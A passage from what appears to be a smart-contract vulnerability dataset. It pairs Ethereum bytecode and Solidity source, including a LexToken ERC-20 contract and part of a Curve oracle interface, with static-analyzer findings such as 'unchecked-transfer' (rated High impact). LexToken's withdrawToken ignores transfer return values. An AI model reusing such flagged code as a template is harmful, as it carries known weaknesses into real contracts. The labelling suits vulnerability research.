ea29092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061223a816002546122af90919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161229e9190612e24565b60405180910390a35050565b505050565b60006122f183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ea2565b905092915050565b60405180606001604052806000815260200160008152602001600081525090565b6040518060600160405280600390602082028036833780820191505090505090565b60008135905061234b81613028565b92915050565b600082601f83011261236257600080fd5b813561237561237082612e87565b612e5a565b9150818183526020840193506020810190508385602084028201111561239a57600080fd5b60005b838110156123ca57816123b0888261233c565b84526020840193506020830192505060018101905061239d565b5050505092915050565b6000813590506123e38161303f565b92915050565b6000602082840312156123fb57600080fd5b60006124098482850161233c565b91505092915050565b6000806040838503121561242557600080fd5b60006124338582860161233c565b92505060206124448582860161233c565b9150509250929050565b60008060006060848603121561246357600080fd5b60006124718682870161233c565b93505060206124828682870161233c565b9250506040612493868287016123d4565b9150509250925092565b600080604083850312156124b057600080fd5b60006124be8582860161233c565b92505060206124cf858286016123d4565b9150509250929050565b600080604083850312156124ec57600080fd5b600083013567ffffffffffffffff81111561250657600080fd5b61251285828601612351565b9250506020612523858286016123d4565b9150509250929050565b60006020828403121561253f57600080fd5b600061254d848285016123d4565b91505092915050565b6000806040838503121561256957600080fd5b6000612577858286016123d4565b9250506020612588858286016123d4565b9150509250929050565b600061259e838361263e565b60608301905092915050565b60006125b68383612b58565b60208301905092915050565b6125cb81612fae565b82525050565b6125da81612f59565b82525050565b60006125eb82612ec9565b6125f58185612f0f565b935061260083612eaf565b8060005b838110156126315781516126188882612592565b975061262383612ef5565b925050600181019050612604565b5085935050505092915050565b61264781612ed4565b6126518184612f20565b925061265c82612ebf565b8060005b8381101561268d57815161267487826125aa565b965061267f83612f02565b925050600181019050612660565b505050505050565b61269e81612f6b565b82525050565b60006126af82612edf565b6126b98185612f2b565b93506126c9818560208601612fe4565b80840191505092915050565b60006126e082612eea565b6126ea8185612f36565b93506126fa818560208601612fe4565b61270381613017565b840191505092915050565b600061271b602383612f36565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612781602a83612f36565b91507f4f6e6c79206f776e65722063616e206d696e7420746f206d756c7469706c652060008301527f61646472657373657321000000000000000000000000000000000000000000006020830152604082019050919050565b60006127e7601a83612f36565b91507f4f6e6c79206f776e65722063616e20736574206d696e746572210000000000006000830152602082019050919050565b6000612827602283612f36565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061288d601c83612f36565b91507f4f6e6c79206d696e7465722063616e206d696e7420746f6b656e7321000000006000830152602082019050919050565b60006128cd601b83612f36565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b600061290d601383612f36565b91507f5374616b65207374696c6c206c6f636b656421000000000000000000000000006000830152602082019050919050565b600061294d601983612f36565b91507f4f6e6c79206f776e65722063616e20736574206f776e657221000000000000006000830152602082019050919050565b600061298d602183612f36565b91507f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008301527f73000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006129f3602583612f36565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612a59602283612f36565b91507f4f6e6c79206f776e65722063616e2073657420746f6b656e20636f6e7472616360008301527f74210000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612abf602483612f36565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612b25601f83612f36565b91507f45524332303a206d696e7420746f20746865207a65726f2061646472657373006000830152602082019050919050565b612b6181612f97565b82525050565b612b7081612f97565b82525050565b612b7f81612fa1565b82525050565b6000612b9182846126a4565b915081905092915050565b6000604082019050612bb160008301856125d1565b612bbe6020830184612b67565b9392505050565b6000604082019050612bda60008301856125c2565b612be76020830184612b67565b9392505050565b6000606082019050612c0360008301866125c2565b612c106020830185612b67565b612c1d6040830184612b67565b949350505050565b60006020820190508181036000830152612c3f81846125e0565b905092915050565b6000602082019050612c5c6000830184612695565b92915050565b60006020820190508181036000830152612c7c81846126d5565b905092915050565b60006020820190508181036000830152612c9d8161270e565b9050919050565b60006020820190508181036000830152612cbd81612774565b9050919050565b60006020820190508181036000830152612cdd816127da565b9050919050565b60006020820190508181036000830152612cfd8161281a565b9050919050565b60006020820190508181036000830152612d1d81612880565b9050919050565b60006020820190508181036000830152612d3d816128c0565b9050919050565b60006020820190508181036000830152612d5d81612900565b9050919050565b60006020820190508181036000830152612d7d81612940565b9050919050565b60006020820190508181036000830152612d9d81612980565b9050919050565b60006020820190508181036000830152612dbd816129e6565b9050919050565b60006020820190508181036000830152612ddd81612a4c565b9050919050565b60006020820190508181036000830152612dfd81612ab2565b9050919050565b60006020820190508181036000830152612e1d81612b18565b9050919050565b6000602082019050612e396000830184612b67565b92915050565b6000602082019050612e546000830184612b76565b92915050565b6000604051905081810181811067ffffffffffffffff82111715612e7d57600080fd5b8060405250919050565b600067ffffffffffffffff821115612e9e57600080fd5b602082029050602081019050919050565b6000819050602082019050919050565b6000819050919050565b600081519050919050565b600060039050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600081905092915050565b600081905092915050565b600082825260208201905092915050565b6000612f5282612f77565b9050919050565b6000612f6482612f77565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612fb982612fc0565b9050919050565b6000612fcb82612fd2565b9050919050565b6000612fdd82612f77565b9050919050565b60005b83811015613002578082015181840152602081019050612fe7565b83811115613011576000848401525b50505050565b6000601f19601f8301169050919050565b61303181612f47565b811461303c57600080fd5b50565b61304881612f97565b811461305357600080fd5b5056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212209b822de9366e88218b6c4b18a3b93b364ed244f6389af1c02b4ba808959a590964736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 2,475 |
0x7a86615be1b2692fd85100ee0c5e99bf49b7aa96
|
/*
██╗ ███████╗██╗ ██╗
██║ ██╔════╝╚██╗██╔╝
██║ █████╗ ╚███╔╝
██║ ██╔══╝ ██╔██╗
███████╗███████╗██╔╝ ██╗
╚══════╝╚══════╝╚═╝ ╚═╝
████████╗ ██████╗ ██╗ ██╗███████╗███╗ ██╗
╚══██╔══╝██╔═══██╗██║ ██╔╝██╔════╝████╗ ██║
██║ ██║ ██║█████╔╝ █████╗ ██╔██╗ ██║
██║ ██║ ██║██╔═██╗ ██╔══╝ ██║╚██╗██║
██║ ╚██████╔╝██║ ██╗███████╗██║ ╚████║
╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝
DEAR MSG.SENDER(S):
/ LexToken is a project in beta.
// Please audit and use at your own risk.
/// Entry into LexToken shall not create an attorney/client relationship.
//// Likewise, LexToken should not be construed as legal advice or replacement for professional counsel.
///// STEAL THIS C0D3SL4W
////// presented by LexDAO LLC
*/
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.7.4;
interface IERC20 { // brief interface for erc20 token
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
}
library SafeMath { // arithmetic wrapper for unit under/overflow check
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
}
contract LexToken {
using SafeMath for uint256;
address payable public manager; // account managing token rules & sale - see 'Manager Functions' - updateable by manager
uint8 public decimals; // fixed unit scaling factor - default 18 to match ETH
uint256 public saleRate; // rate of token purchase when sending ETH to contract - e.g., 10 saleRate returns 10 token per 1 ETH - updateable by manager
uint256 public totalSupply; // tracks outstanding token mint - mint updateable by manager
uint256 public totalSupplyCap; // maximum of token mintable
bytes32 public DOMAIN_SEPARATOR; // eip-2612 permit() pattern - hash identifies contract
bytes32 constant public PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); // eip-2612 permit() pattern - hash identifies function for signature
string public details; // details token offering, redemption, etc. - updateable by manager
string public name; // fixed token name
string public symbol; // fixed token symbol
bool public forSale; // status of token sale - e.g., if `false`, ETH sent to token address will not return token per saleRate - updateable by manager
bool private initialized; // internally tracks token deployment under eip-1167 proxy pattern
bool public transferable; // transferability of token - does not affect token sale - updateable by manager
mapping(address => mapping(address => uint256)) public allowances;
mapping(address => uint256) public balanceOf;
mapping(address => uint256) public nonces;
event Approval(address indexed owner, address indexed spender, uint256 value);
event Redeem(string redemption);
event Transfer(address indexed from, address indexed to, uint256 value);
event UpdateGovernance(address indexed manager, string details);
event UpdateSale(uint256 saleRate, uint256 saleSupply, bool burnToken, bool forSale);
event UpdateTransferability(bool transferable);
function init(
address payable _manager,
uint8 _decimals,
uint256 _managerSupply,
uint256 _saleRate,
uint256 _saleSupply,
uint256 _totalSupplyCap,
string calldata _details,
string calldata _name,
string calldata _symbol,
bool _forSale,
bool _transferable
) external {
require(!initialized, "initialized");
manager = _manager;
decimals = _decimals;
saleRate = _saleRate;
totalSupplyCap = _totalSupplyCap;
details = _details;
name = _name;
symbol = _symbol;
forSale = _forSale;
initialized = true;
transferable = _transferable;
if (_managerSupply > 0) {_mint(_manager, _managerSupply);}
if (_saleSupply > 0) {_mint(address(this), _saleSupply);}
if (_forSale) {require(_saleRate > 0, "_saleRate = 0");}
// eip-2612 permit() pattern:
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
function _approve(address owner, address spender, uint256 value) internal {
allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function approve(address spender, uint256 value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function _burn(address from, uint256 value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function burn(uint256 value) external {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) external {
_approve(from, msg.sender, allowances[from][msg.sender].sub(value));
_burn(from, value);
}
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
_approve(msg.sender, spender, allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(msg.sender, spender, allowances[msg.sender][spender].add(addedValue));
return true;
}
// Adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol
function permit(address owner, address spender, uint256 deadline, uint256 value, uint8 v, bytes32 r, bytes32 s) external {
require(block.timestamp <= deadline, "expired");
bytes32 hashStruct = keccak256(abi.encode(
PERMIT_TYPEHASH,
owner,
spender,
value,
nonces[owner]++,
deadline));
bytes32 hash = keccak256(abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
require(signer != address(0) && signer == owner, "!signer");
_approve(owner, spender, value);
}
receive() external payable { // SALE
require(forSale, "!forSale");
(bool success, ) = manager.call{value: msg.value}("");
require(success, "!ethCall");
_transfer(address(this), msg.sender, msg.value.mul(saleRate));
}
function redeem(uint256 value, string calldata redemption) external { // burn lexToken with redemption message
_burn(msg.sender, value);
emit Redeem(redemption);
}
function _transfer(address from, address to, uint256 value) internal {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function transfer(address to, uint256 value) external returns (bool) {
require(transferable, "!transferable");
_transfer(msg.sender, to, value);
return true;
}
function transferBatch(address[] calldata to, uint256[] calldata value) external {
require(to.length == value.length, "!to/value");
require(transferable, "!transferable");
for (uint256 i = 0; i < to.length; i++) {
_transfer(msg.sender, to[i], value[i]);
}
}
function transferFrom(address from, address to, uint256 value) external returns (bool) {
require(transferable, "!transferable");
_approve(from, msg.sender, allowances[from][msg.sender].sub(value));
_transfer(from, to, value);
return true;
}
/****************
MANAGER FUNCTIONS
****************/
modifier onlyManager {
require(msg.sender == manager, "!manager");
_;
}
function _mint(address to, uint256 value) internal {
require(totalSupply.add(value) <= totalSupplyCap, "capped");
balanceOf[to] = balanceOf[to].add(value);
totalSupply = totalSupply.add(value);
emit Transfer(address(0), to, value);
}
function mint(address to, uint256 value) external onlyManager {
_mint(to, value);
}
function mintBatch(address[] calldata to, uint256[] calldata value) external onlyManager {
require(to.length == value.length, "!to/value");
for (uint256 i = 0; i < to.length; i++) {
_mint(to[i], value[i]);
}
}
function updateGovernance(address payable _manager, string calldata _details) external onlyManager {
manager = _manager;
details = _details;
emit UpdateGovernance(_manager, _details);
}
function updateSale(uint256 _saleRate, uint256 _saleSupply, bool _burnToken, bool _forSale) external onlyManager {
saleRate = _saleRate;
forSale = _forSale;
if (_saleSupply > 0 && _burnToken) {_burn(address(this), _saleSupply);}
if (_saleSupply > 0 && !_burnToken) {_mint(address(this), _saleSupply);}
if (_forSale) {require(_saleRate > 0, "_saleRate = 0");}
emit UpdateSale(_saleRate, _saleSupply, _burnToken, _forSale);
}
function updateTransferability(bool _transferable) external onlyManager {
transferable = _transferable;
emit UpdateTransferability(_transferable);
}
function withdrawToken(address[] calldata token, address[] calldata withdrawTo, uint256[] calldata value, bool max) external onlyManager { // withdraw token sent to lextoken contract
require(token.length == withdrawTo.length && token.length == value.length, "!token/withdrawTo/value");
for (uint256 i = 0; i < token.length; i++) {
uint256 withdrawalValue = value[i];
if (max) {withdrawalValue = IERC20(token[i]).balanceOf(address(this));}
IERC20(token[i]).transfer(withdrawTo[i], withdrawalValue);
}
}
}
|
0x6080604052600436106101e75760003560e01c8063481c6a75116101025780637c88e3d911610095578063a457c2d711610064578063a457c2d714610c12578063a9059cbb14610c4b578063bb102aea14610c84578063d505accf14610c99576102e3565b80637c88e3d914610aea5780637ecebe0014610bb557806392ff0d3114610be857806395d89b4114610bfd576102e3565b806364629ff7116100d157806364629ff7146108e857806370a082311461092857806379cc67901461095b5780637a0c21ee14610994576102e3565b8063481c6a751461083b57806355b6ed5c1461086c578063565974d3146108a757806361d3458f146108bc576102e3565b8063313ce5671161017a57806340557cf11161014957806340557cf1146107ae57806340c10f19146107c357806342966c68146107fc578063466ccac014610826576102e3565b8063313ce5671461066a5780633644e5151461069557806339509351146106aa5780633b3e672f146106e3576102e3565b806321af8235116101b657806321af82351461050557806323b872dd1461059057806324b76fd5146105d357806330adf81f14610655576102e3565b806306fdde03146102e8578063095ea7b31461037257806318160ddd146103bf5780631d809a79146103e6576102e3565b366102e35760085460ff1661022e576040805162461bcd60e51b815260206004820152600860248201526721666f7253616c6560c01b604482015290519081900360640190fd5b600080546040516001600160a01b039091169034908381818185875af1925050503d806000811461027b576040519150601f19603f3d011682016040523d82523d6000602084013e610280565b606091505b50509050806102c1576040805162461bcd60e51b815260206004820152600860248201526708595d1a10d85b1b60c21b604482015290519081900360640190fd5b6102e030336102db60015434610cf790919063ffffffff16565b610d27565b50005b600080fd5b3480156102f457600080fd5b506102fd610dd5565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561033757818101518382015260200161031f565b50505050905090810190601f1680156103645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561037e57600080fd5b506103ab6004803603604081101561039557600080fd5b506001600160a01b038135169060200135610e63565b604080519115158252519081900360200190f35b3480156103cb57600080fd5b506103d4610e79565b60408051918252519081900360200190f35b3480156103f257600080fd5b506105036004803603608081101561040957600080fd5b810190602081018135600160201b81111561042357600080fd5b82018360208201111561043557600080fd5b803590602001918460208302840111600160201b8311171561045657600080fd5b919390929091602081019035600160201b81111561047357600080fd5b82018360208201111561048557600080fd5b803590602001918460208302840111600160201b831117156104a657600080fd5b919390929091602081019035600160201b8111156104c357600080fd5b8201836020820111156104d557600080fd5b803590602001918460208302840111600160201b831117156104f657600080fd5b9193509150351515610e7f565b005b34801561051157600080fd5b506105036004803603604081101561052857600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561055257600080fd5b82018360208201111561056457600080fd5b803590602001918460018302840111600160201b8311171561058557600080fd5b5090925090506110b3565b34801561059c57600080fd5b506103ab600480360360608110156105b357600080fd5b506001600160a01b03813581169160208101359091169060400135611194565b3480156105df57600080fd5b50610503600480360360408110156105f657600080fd5b81359190810190604081016020820135600160201b81111561061757600080fd5b82018360208201111561062957600080fd5b803590602001918460018302840111600160201b8311171561064a57600080fd5b509092509050611233565b34801561066157600080fd5b506103d46112a2565b34801561067657600080fd5b5061067f6112c6565b6040805160ff9092168252519081900360200190f35b3480156106a157600080fd5b506103d46112d6565b3480156106b657600080fd5b506103ab600480360360408110156106cd57600080fd5b506001600160a01b0381351690602001356112dc565b3480156106ef57600080fd5b506105036004803603604081101561070657600080fd5b810190602081018135600160201b81111561072057600080fd5b82018360208201111561073257600080fd5b803590602001918460208302840111600160201b8311171561075357600080fd5b919390929091602081019035600160201b81111561077057600080fd5b82018360208201111561078257600080fd5b803590602001918460208302840111600160201b831117156107a357600080fd5b509092509050611312565b3480156107ba57600080fd5b506103d46113f1565b3480156107cf57600080fd5b50610503600480360360408110156107e657600080fd5b506001600160a01b0381351690602001356113f7565b34801561080857600080fd5b506105036004803603602081101561081f57600080fd5b503561144f565b34801561083257600080fd5b506103ab61145c565b34801561084757600080fd5b50610850611465565b604080516001600160a01b039092168252519081900360200190f35b34801561087857600080fd5b506103d46004803603604081101561088f57600080fd5b506001600160a01b0381358116916020013516611474565b3480156108b357600080fd5b506102fd611491565b3480156108c857600080fd5b50610503600480360360208110156108df57600080fd5b503515156114ec565b3480156108f457600080fd5b506105036004803603608081101561090b57600080fd5b508035906020810135906040810135151590606001351515611587565b34801561093457600080fd5b506103d46004803603602081101561094b57600080fd5b50356001600160a01b03166116b6565b34801561096757600080fd5b506105036004803603604081101561097e57600080fd5b506001600160a01b0381351690602001356116c8565b3480156109a057600080fd5b5061050360048036036101608110156109b857600080fd5b6001600160a01b038235169160ff6020820135169160408201359160608101359160808201359160a08101359181019060e0810160c0820135600160201b811115610a0257600080fd5b820183602082011115610a1457600080fd5b803590602001918460018302840111600160201b83111715610a3557600080fd5b919390929091602081019035600160201b811115610a5257600080fd5b820183602082011115610a6457600080fd5b803590602001918460018302840111600160201b83111715610a8557600080fd5b919390929091602081019035600160201b811115610aa257600080fd5b820183602082011115610ab457600080fd5b803590602001918460018302840111600160201b83111715610ad557600080fd5b91935091508035151590602001351515611707565b348015610af657600080fd5b5061050360048036036040811015610b0d57600080fd5b810190602081018135600160201b811115610b2757600080fd5b820183602082011115610b3957600080fd5b803590602001918460208302840111600160201b83111715610b5a57600080fd5b919390929091602081019035600160201b811115610b7757600080fd5b820183602082011115610b8957600080fd5b803590602001918460208302840111600160201b83111715610baa57600080fd5b509092509050611974565b348015610bc157600080fd5b506103d460048036036020811015610bd857600080fd5b50356001600160a01b0316611a48565b348015610bf457600080fd5b506103ab611a5a565b348015610c0957600080fd5b506102fd611a69565b348015610c1e57600080fd5b506103ab60048036036040811015610c3557600080fd5b506001600160a01b038135169060200135611ac4565b348015610c5757600080fd5b506103ab60048036036040811015610c6e57600080fd5b506001600160a01b038135169060200135611afa565b348015610c9057600080fd5b506103d4611b55565b348015610ca557600080fd5b50610503600480360360e0811015610cbc57600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b5b565b600082610d0657506000610d21565b82820282848281610d1357fe5b0414610d1e57600080fd5b90505b92915050565b6001600160a01b0383166000908152600a6020526040902054610d4a9082611d3f565b6001600160a01b038085166000908152600a60205260408082209390935590841681522054610d799082611d54565b6001600160a01b038084166000818152600a602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6006805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610e5b5780601f10610e3057610100808354040283529160200191610e5b565b820191906000526020600020905b815481529060010190602001808311610e3e57829003601f168201915b505050505081565b6000610e70338484611d66565b50600192915050565b60025481565b6000546001600160a01b03163314610ec9576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b8584148015610ed757508582145b610f28576040805162461bcd60e51b815260206004820152601760248201527f21746f6b656e2f7769746864726177546f2f76616c7565000000000000000000604482015290519081900360640190fd5b60005b868110156110a9576000848483818110610f4157fe5b9050602002013590508215610fe757888883818110610f5c57fe5b905060200201356001600160a01b03166001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015610fb857600080fd5b505afa158015610fcc573d6000803e3d6000fd5b505050506040513d6020811015610fe257600080fd5b505190505b888883818110610ff357fe5b905060200201356001600160a01b03166001600160a01b031663a9059cbb88888581811061101d57fe5b905060200201356001600160a01b0316836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561107457600080fd5b505af1158015611088573d6000803e3d6000fd5b505050506040513d602081101561109e57600080fd5b505050600101610f2b565b5050505050505050565b6000546001600160a01b031633146110fd576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b03851617905561112460058383611f36565b50826001600160a01b03167f28227c29e8844719ad1e9362701a58f2fd9151da99edd16146e6066f7995de60838360405180806020018281038252848482818152602001925080828437600083820152604051601f909101601f19169092018290039550909350505050a2505050565b60085460009062010000900460ff166111e4576040805162461bcd60e51b815260206004820152600d60248201526c217472616e7366657261626c6560981b604482015290519081900360640190fd5b6001600160a01b03841660009081526009602090815260408083203380855292529091205461121e9186916112199086611d3f565b611d66565b611229848484610d27565b5060019392505050565b61123d3384611dc8565b7ffaaa716cf73cc51702fa1de9713c82c6cd37a48c3abd70d72ef7e2051b60788b828260405180806020018281038252848482818152602001925080828437600083820152604051601f909101601f19169092018290039550909350505050a1505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b600054600160a01b900460ff1681565b60045481565b3360008181526009602090815260408083206001600160a01b03871684529091528120549091610e709185906112199086611d54565b828114611352576040805162461bcd60e51b815260206004820152600960248201526821746f2f76616c756560b81b604482015290519081900360640190fd5b60085462010000900460ff1661139f576040805162461bcd60e51b815260206004820152600d60248201526c217472616e7366657261626c6560981b604482015290519081900360640190fd5b60005b838110156113ea576113e2338686848181106113ba57fe5b905060200201356001600160a01b03168585858181106113d657fe5b90506020020135610d27565b6001016113a2565b5050505050565b60015481565b6000546001600160a01b03163314611441576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b61144b8282611e59565b5050565b6114593382611dc8565b50565b60085460ff1681565b6000546001600160a01b031681565b600960209081526000928352604080842090915290825290205481565b6005805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610e5b5780601f10610e3057610100808354040283529160200191610e5b565b6000546001600160a01b03163314611536576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b6008805482151562010000810262ff0000199092169190911790915560408051918252517f6bac9a12247929d003198785fd8281eecfab25f64a2342832fc7e0fe2a5b99bd9181900360200190a150565b6000546001600160a01b031633146115d1576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b60018490556008805460ff191682151517905582158015906115f05750815b156115ff576115ff3084611dc8565b60008311801561160d575081155b1561161c5761161c3084611e59565b80156116675760008411611667576040805162461bcd60e51b815260206004820152600d60248201526c05f73616c6552617465203d203609c1b604482015290519081900360640190fd5b604080518581526020810185905283151581830152821515606082015290517fc731f083c0c404c37cc5224632a9920c93721188c2b3a25442ba50173c538a0a9181900360800190a150505050565b600a6020526000908152604090205481565b6001600160a01b0382166000908152600960209081526040808320338085529252909120546116fd9184916112199085611d3f565b61144b8282611dc8565b600854610100900460ff1615611752576040805162461bcd60e51b815260206004820152600b60248201526a1a5b9a5d1a585b1a5e995960aa1b604482015290519081900360640190fd5b8d6000806101000a8154816001600160a01b0302191690836001600160a01b031602179055508c600060146101000a81548160ff021916908360ff1602179055508a600181905550886003819055508787600591906117b2929190611f36565b506117bf60068787611f36565b506117cc60078585611f36565b506008805461010060ff199091168415151761ff0019161762ff0000191662010000831515021790558b15611805576118058e8d611e59565b891561181557611815308b611e59565b81156118605760008b11611860576040805162461bcd60e51b815260206004820152600d60248201526c05f73616c6552617465203d203609c1b604482015290519081900360640190fd5b60004690507f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f600660405180828054600181600116156101000203166002900480156118e35780601f106118c15761010080835404028352918201916118e3565b820191906000526020600020905b8154815290600101906020018083116118cf575b505060408051918290038220828201825260018352603160f81b602093840152815180840196909652858201527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6606086015260808501959095523060a0808601919091528551808603909101815260c0909401909452505080519101206004555050505050505050505050505050565b6000546001600160a01b031633146119be576040805162461bcd60e51b815260206004820152600860248201526710b6b0b730b3b2b960c11b604482015290519081900360640190fd5b8281146119fe576040805162461bcd60e51b815260206004820152600960248201526821746f2f76616c756560b81b604482015290519081900360640190fd5b60005b838110156113ea57611a40858583818110611a1857fe5b905060200201356001600160a01b0316848484818110611a3457fe5b90506020020135611e59565b600101611a01565b600b6020526000908152604090205481565b60085462010000900460ff1681565b6007805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610e5b5780601f10610e3057610100808354040283529160200191610e5b565b3360008181526009602090815260408083206001600160a01b03871684529091528120549091610e709185906112199086611d3f565b60085460009062010000900460ff16611b4a576040805162461bcd60e51b815260206004820152600d60248201526c217472616e7366657261626c6560981b604482015290519081900360640190fd5b610e70338484610d27565b60035481565b84421115611b9a576040805162461bcd60e51b8152602060048201526007602482015266195e1c1a5c995960ca1b604482015290519081900360640190fd5b6001600160a01b038088166000818152600b602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958c166060860152608085018a905260a085019590955260c08085018b90528151808603909101815260e08501825280519083012060045461190160f01b61010087015261010286015261012280860182905282518087039091018152610142860180845281519185019190912090859052610162860180845281905260ff8a166101828701526101a286018990526101c2860188905291519095919491926101e2808401939192601f1981019281900390910190855afa158015611cb7573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811615801590611ced5750896001600160a01b0316816001600160a01b0316145b611d28576040805162461bcd60e51b815260206004820152600760248201526610b9b4b3b732b960c91b604482015290519081900360640190fd5b611d338a8a89611d66565b50505050505050505050565b600082821115611d4e57600080fd5b50900390565b600082820183811015610d1e57600080fd5b6001600160a01b03808416600081815260096020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0382166000908152600a6020526040902054611deb9082611d3f565b6001600160a01b0383166000908152600a6020526040902055600254611e119082611d3f565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600354600254611e699083611d54565b1115611ea5576040805162461bcd60e51b815260206004820152600660248201526518d85c1c195960d21b604482015290519081900360640190fd5b6001600160a01b0382166000908152600a6020526040902054611ec89082611d54565b6001600160a01b0383166000908152600a6020526040902055600254611eee9082611d54565b6002556040805182815290516001600160a01b038416916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282611f6c5760008555611fb2565b82601f10611f855782800160ff19823516178555611fb2565b82800160010185558215611fb2579182015b82811115611fb2578235825591602001919060010190611f97565b50611fbe929150611fc2565b5090565b5b80821115611fbe5760008155600101611fc356fea2646970667358221220d40739ff8d59c2d3afae22e410cf0b00a00bcf90e636e04701f9f9788942094d64736f6c63430007040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 2,476 |
0x772937644A24AA105847931c74DA168fF1DBB6eA
|
/**
*Submitted for verification at Etherscan.io on 2021-04-28
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
// Part: IBaseOracle
interface IBaseOracle {
/// @dev Return the value of the given input as ETH per unit, multiplied by 2**112.
/// @param token The ERC-20 token to check the value.
function getETHPx(address token) external view returns (uint);
}
// Part: ICurvePool
interface ICurvePool {
function add_liquidity(uint[2] calldata, uint) external;
function add_liquidity(uint[3] calldata, uint) external;
